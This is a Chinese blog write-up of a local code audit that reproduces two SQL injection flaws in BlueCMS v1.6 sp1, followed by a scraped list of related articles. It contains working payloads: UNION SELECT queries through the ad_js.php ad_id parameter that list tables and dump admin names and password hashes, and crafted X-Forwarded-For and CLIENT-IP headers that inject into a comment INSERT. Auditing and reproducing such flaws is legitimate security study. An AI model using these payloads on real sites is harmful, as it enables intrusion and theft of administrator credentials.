这是一篇纪录关于BlueCMSv1.6 sp1两个SQL注入的审计过程,原文来自代码审计之SQL注入:BlueCMSv1.6 sp1 ,主要纪录一下个人在参考博文复现这两个漏洞经过。

href="https://www.ichunqiu.com/course/406" target="_blank">BlueCMS 1.6 SQL 注入漏洞


工具及环境

  • bluecms v2.1 sp1  

    •   链接:http://pan.baidu.com/s/1dFKLanR 密码:8v1c
  • seay审计系统  
    •   链接:http://pan.baidu.com/s/1dENS4KT 密码:rszt
  • 环境  
    • PHP: 5.4.45      
    • MYSQL: 5.5.53

环境搭建

  关于环境搭建,简单说几句。可以使用phpstudy这款集成化工具,可以很方便的使用和切换环境,安装好之后直接将下载好的bluecms的源码放到安装的路径下即可,如:C:\phpStudy\WWW。

  也即把\bluecms_v1.6_sp1\uploads目录下的文件放到C:\phpStudy\WWW目录下,因为我的C:\phpStudy\WWW目录下还有其他文件,就直接把解压后的bluecms_v1.6_sp1放在C:\phpStudy\WWW目录下了。在我这的路径是这样的:C:\phpStudy\WWW\bluecms_v1.6_sp1\uploads。

安装

  访问本地:http://localhost/bluecms_v1.6_sp1/, 能看到项目文件。

访问地址:http://localhost/bluecms_v1.6_sp1/uploads/install/index.php/就会进入到安装界面。

  环境检测:

  参数配置:

  这里唯一需要注意的就是数据库的密码要对上。

  再访问:http://localhost/bluecms_v1.6_sp1/uploads/,可以看到已经安装好了。

  关于环境搭建的部分就讲这些吧。

注入一

审计

  用Seay源代码审计系统审计一下看看,我们可以发现有很多可能的注入点,如第一个,在文件:/uploads/ad_js.php  

  选中该可能的注入点,右键单击打开文件,就能直接定位到该条语句了,内容如下:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

getone()是自定义的函数,用来查询数据库,代码如下:(可双击选中该函数,然后右键单击定位函数,发现在:/uploads/include/mysql.class.php文件中,双击直接可定位到在文件中的位置)

  该函数的代码如下:

function getone($sql, $type=MYSQL_ASSOC){$query = $this->query($sql,$this->linkid);$row = mysql_fetch_array($query, $type);return $row;}

主要是插入到数据库查询语句中的$ad_id没有经过任何的过滤,因而导致了SQL注入。从代码中可以看出:

利用

先查下有多少列

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7

查询1...6列和8...列会显示出错信息,而查询7列时页面是空白的,此时查看源码,如红框中所示,可以看到第7列会回显,因此我们可以构造第7列的数据来回显我们想要的内容。

  查询下数据库信息:

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,@@basedir

数据库名称是bluecms,路径如上所示。

提取数据

利用元数据表爆出表名

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

爆字段

查看下blue_admin表中有哪些字段:

这里需要将表名转换为16进制:16进制到文本字符串的转换

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

获取用户名密码

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

是用MD5值,其值为admin:

注入二

审计

再查看Seay发现的可疑注入点,在文件/uploads/include/common.fun.php中:

$ip变量的值从环境变量中获得,具体代码如下:(可右键点击查看相应文件内容)

function getip()
{if (getenv('HTTP_CLIENT_IP')){$ip = getenv('HTTP_CLIENT_IP'); }elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR');}elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED');}elseif (getenv('HTTP_FORWARDED_FOR')){$ip = getenv('HTTP_FORWARDED_FOR'); }elseif (getenv('HTTP_FORWARDED')){$ip = getenv('HTTP_FORWARDED');}else{ $ip = $_SERVER['REMOTE_ADDR'];}return $ip;
}

$ip的值可能是从HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR等变量中获得;

全局搜索一下使用到这个函数的地方一共有2处,中间那个是函数定义:

我们查看一下第一个文件:(代码113行,这是一个负责文章评论的代码文件)

我们可以看到,通过函数getip()获取到的$ip变量的值,直接插入到了SQL语句中,接着就执行了。由此可以看出,这里是存在SQL注入的。

文章发表

  从上面的页面(/uploads/comment.php)可以推断出,SQL注入出现在对文章进行评论的地方,因为之前在发表文章时出现点问题,现将解决的小trick分享给大家:

  首先,需要先注册一个用户,登陆之后进入到个人资料,有个文章分类,但是我在创建分类的时候老是出现问题,如右所示:

  而且通过管理员登陆也不能创建分类,甚是无奈,只能通过修改代码解决:

  我们找到发表文章的页面:http://localhost/bluecms_v1.6_sp1/uploads/user.php?act=add_news ,将判断新闻分类的部分注释掉,这样就不会因为没有分类的问题,而导致程序的执行过程被中断。

  好,那现在我们创建一篇文章,随意填写写内容即可:(步骤:进入个人中心->本地新闻->发布新闻)

  回到主页:

  查看下我们刚发布的文章,如下所示:

利用

  我们回看下那段SQL语句:(隔得有点远)

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";$db->query($sql);

  可以看到,一共有9个参数,而insert语句可以一次插入多条数据,只要们在构造$ip的内容时,闭合掉前面的部分,使之变成完整的语句即可。

X-Forwarded-For

  通过X-Forwarded-For构造如下:

X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99

  在POST数据包头部添加X-Forwarded-For字段,内容如上:

  通过查看网页源代码的方式,我们可以看到admin用户密码的hash值:(其值为admin)

CLIENT-IP

  通过CLIENT-IP构造如下:

CLIENT-IP: 1', '1'),('','1','0','1','6',(select concat(admin_name,':',pwd) from blue_admin), '1','1

  POST数据包:

  可以看到admin密码的hash值直接显示到了页面上:(时间错乱了,请忽略)

  到此,就这样。(不清晰的图片可右键查看)

作者:starnight_cyber
出处:https://www.cnblogs.com/Hi-blog/
github:https://github.com/starnightcyber/

-------------------------------------------

代码审计之SQL注入:BlueCMSv1.6 sp1相关推荐

  1. 网络安全-实战篇 ZZZPHP1.61 代码审计-从SQL注入到Getshell

    近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...

  2. sdcms代码审计之sql注入

    1.漏洞注入点分析(黑名单 ) 2.注入payload构造(双参数构造,sqlmap绕过) 注册账号后发现网站有在线留言功能,可以查看能否注入 但是没有两个连在一起的可控参数,无法利用成功 继续往下查 ...

  3. JAVA代码审计之WebGoat靶场SQL注入

    文章目录 前言 WebGoat IDEA部署靶场 No.1 回显注入 No.2 布尔盲注 No.3 Order by 代审技巧 SQL注入挖掘 SQL注入防御 Fortify体验 总结 前言 为了从自 ...

  4. Linux下sql_labs第七关,SQL注入之Sqli-labs系列第二十七关(过滤空格、注释符、union select)和第二十七A...

    开始挑战第二十七关(Trick with SELECT & UNION) 第二十七A关(Trick with SELECT & UNION) 0x1看看源代码 (1)与26关一样,这次 ...

  5. 【网络安全】php代码审计-sql注入进阶篇

    前言 经过上一篇文章我们已经大概的了解sql注入去怎样审计了.但是在实际的网站中和用户的输入输出接口不可能想那样没有防御措施的.现在各大网站都在使用waf对网站或者APP的业务流量进行恶意特征识别及防 ...

  6. [网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.这篇文章主要介绍5月9日参加津门杯CTF题目知识,包括power_cut.hate_ ...

  7. 常见的Java审计代码函数关键字_转载:Java代码审计汇总系列(一)——SQL注入

    原文链接:https://cloud.tencent.com/developer/article/1534109 一.代码审计 相比黑盒渗透的漏洞挖掘方式,代码审计具有更高的可靠性和针对性,更多的是依 ...

  8. 代码审计中的SQL注入

    0x00 背景 SQL注入是一种常见Web漏洞,所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.本文以代码审计的形式研 ...

  9. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 6.全局防护盲点的总结上篇

    [PHP代码审计] 那些年我们一起挖掘SQL注入 - 6.全局防护盲点的总结上篇 0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等 ...

最新文章

  1. qcom Android Camera【转】
  2. Oracle函数列表速查
  3. 等了这么久,就给我看这个?
  4. 哈尔滨理工C语言程序设计精髓_【注意啦】哈尔滨工业大学2020考研计算机专业课调整,难度提升!...
  5. 基于 vue-cli4+vant 搭建 H5 通用架子(支持微信公众号)
  6. 快速下载助手1.1--添加断点下载
  7. c++ class struct同名_如何把C++的源代码改写成C代码?而C改C++只需一步!
  8. c语言程序可以单独编译,c语言的函数能单独进行编译吗?
  9. eclipse怎么运行不了服务器,eclipse可以运行,部署服务器启动不起来
  10. 分区字段不在SQL过滤中,悲剧
  11. java 接收前台富文本_前后端分离ueditor富文本编辑器的使用-Java版本
  12. pixi 小游戏_手把手教你制作一款小游戏【超好玩!】
  13. python爬虫反爬策略_用Python语言做爬虫有哪些策略可以对抗反爬虫?
  14. 基于 Openpose 实现人体动作识别
  15. MATLAB实现冒泡排序-M文件
  16. NOI题库答案(1.2 编程基础之变量定义、赋值及转换)
  17. uni-app - 监听用户滚动屏幕开始与结束(解决方案)
  18. 清华计算机系校服,北大清华(清华大学各系校服)
  19. 银联在线支付接入总结
  20. 双面女间谍第一至五季/全集Alias迅雷下载

热门文章

  1. python代码编程软件_编程与编程软件(python-pycharm)
  2. openoffice+linux+jodconverter+乱码,OpenOffice安装和转换乱码解决方案
  3. 调研《构建之法》指导下的历届作品
  4. 操作系统下查看HBA卡信息wwn的方法
  5. web.xml上监听器作用
  6. StringTokenizer(字符串分隔解析类型)
  7. Redis,MemCached,MongoDB 概述
  8. coreleft函数
  9. cmd52命令发送 mmc_乾坤合一~Linux SD/MMC/SDIO驱动分析(上)
  10. matlab sort对矩阵某一维进行排序并记录之前索引